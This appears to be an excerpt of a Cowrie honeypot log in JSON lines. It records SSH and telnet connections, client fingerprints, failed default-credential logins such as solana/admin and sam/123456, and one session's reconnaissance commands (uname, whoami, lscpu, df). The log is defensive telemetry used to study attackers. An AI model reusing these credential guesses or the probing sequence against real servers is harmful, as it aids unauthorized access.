{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:56:59.624253Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.073895Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.077447Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.282052Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.721564Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.724872Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:00.927697Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:01.391758Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:01.395494Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:01.599156Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:02.035343Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:02.038708Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:02.249350Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:02.254454Z","src_ip":"1.214.117.218","session":"856ff9a02dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.781874895095825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:17.276241Z","src_ip":"101.37.83.79","session":"90b0e69a3cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14780330657959,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:20.917650Z","src_ip":"101.37.83.79","session":"c0cd60464973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc794f87d934","protocol":"telnet","message":"New connection: 101.37.83.79:41558 (159.203.135.109:23) [session: bc794f87d934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:29.032196Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":34402,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db8cacbfa61","protocol":"ssh","message":"New connection: 2.57.122.96:34402 (159.203.135.109:22) [session: 7db8cacbfa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:29.950374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:29.954505Z","src_ip":"2.57.122.96","session":"7db8cacbfa61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:30.057842Z","src_ip":"2.57.122.96","session":"7db8cacbfa61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"admin","message":"login attempt [solana/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:30.369711Z","src_ip":"2.57.122.96","session":"7db8cacbfa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:57:31.476259Z","src_ip":"2.57.122.96","session":"7db8cacbfa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.03657507896423,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:04.068643Z","src_ip":"101.37.83.79","session":"bc794f87d934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.154.198","src_port":46008,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd7267c4f82a","protocol":"ssh","message":"New connection: 138.68.154.198:46008 (10.17.0.5:22) [session: fd7267c4f82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:06.470630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:06.474642Z","src_ip":"138.68.154.198","session":"fd7267c4f82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:06.543797Z","src_ip":"138.68.154.198","session":"fd7267c4f82a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:14.471984Z","src_ip":"138.68.154.198","session":"fd7267c4f82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":59532,"dst_ip":"159.203.135.109","dst_port":23,"session":"2098eed2c5ab","protocol":"telnet","message":"New connection: 101.37.83.79:59532 (159.203.135.109:23) [session: 2098eed2c5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:21.604543Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":40392,"dst_ip":"159.203.135.109","dst_port":23,"session":"e427d0730219","protocol":"telnet","message":"New connection: 101.37.83.79:40392 (159.203.135.109:23) [session: e427d0730219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:34.691811Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":37862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ad1d7a421c0","protocol":"telnet","message":"New connection: 101.37.83.79:37862 (159.203.135.109:23) [session: 3ad1d7a421c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:46.750776Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":37856,"dst_ip":"159.203.135.109","dst_port":23,"session":"549a74cad098","protocol":"telnet","message":"New connection: 101.37.83.79:37856 (159.203.135.109:23) [session: 549a74cad098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:46.910937Z"}
{"eventid":"cowrie.session.closed","duration":33.48053431510925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:55.084959Z","src_ip":"101.37.83.79","session":"2098eed2c5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54000,"dst_ip":"159.203.135.109","dst_port":22,"session":"678d0aa03d20","protocol":"ssh","message":"New connection: 2.57.122.208:54000 (159.203.135.109:22) [session: 678d0aa03d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:59.231982Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:58:59.333472Z","src_ip":"2.57.122.208","session":"678d0aa03d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":36686,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b01d9a0681f","protocol":"telnet","message":"New connection: 101.37.83.79:36686 (159.203.135.109:23) [session: 8b01d9a0681f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:02.986932Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7145f7bfb83","protocol":"ssh","message":"New connection: 162.120.6.20:43520 (10.17.0.5:22) [session: a7145f7bfb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.430341Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.500214Z","src_ip":"162.120.6.20","session":"a7145f7bfb83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":43528,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74905c784b5","protocol":"ssh","message":"New connection: 162.120.6.20:43528 (10.17.0.5:22) [session: d74905c784b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.568901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.573299Z","src_ip":"162.120.6.20","session":"d74905c784b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.643679Z","src_ip":"162.120.6.20","session":"d74905c784b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:04.855469Z","src_ip":"162.120.6.20","session":"d74905c784b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:05.927239Z","src_ip":"162.120.6.20","session":"d74905c784b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":58864,"dst_ip":"159.203.135.109","dst_port":22,"session":"0167351645f7","protocol":"ssh","message":"New connection: 1.214.117.218:58864 (159.203.135.109:22) [session: 0167351645f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:06.876116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:06.881545Z","src_ip":"1.214.117.218","session":"0167351645f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:07.089538Z","src_ip":"1.214.117.218","session":"0167351645f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.89327359199524,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:07.584970Z","src_ip":"101.37.83.79","session":"e427d0730219","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456","message":"login attempt [sam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:07.954414Z","src_ip":"1.214.117.218","session":"0167351645f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:09.166288Z","src_ip":"1.214.117.218","session":"0167351645f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.40632367134094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:20.317146Z","src_ip":"101.37.83.79","session":"549a74cad098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58613443374634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:21.336833Z","src_ip":"101.37.83.79","session":"3ad1d7a421c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62777352333069,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:59:35.614555Z","src_ip":"101.37.83.79","session":"8b01d9a0681f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45386,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3c81f8af68","protocol":"ssh","message":"New connection: 2.57.122.208:45386 (10.17.0.5:22) [session: 0b3c81f8af68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:01.402536Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:01.509816Z","src_ip":"2.57.122.208","session":"0b3c81f8af68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":48452,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb849304da77","protocol":"telnet","message":"New connection: 101.37.83.79:48452 (159.203.135.109:23) [session: eb849304da77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:03.724364Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53862,"dst_ip":"159.203.135.109","dst_port":22,"session":"2df766c97133","protocol":"ssh","message":"New connection: 2.57.122.96:53862 (159.203.135.109:22) [session: 2df766c97133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:25.085649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:25.110445Z","src_ip":"2.57.122.96","session":"2df766c97133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-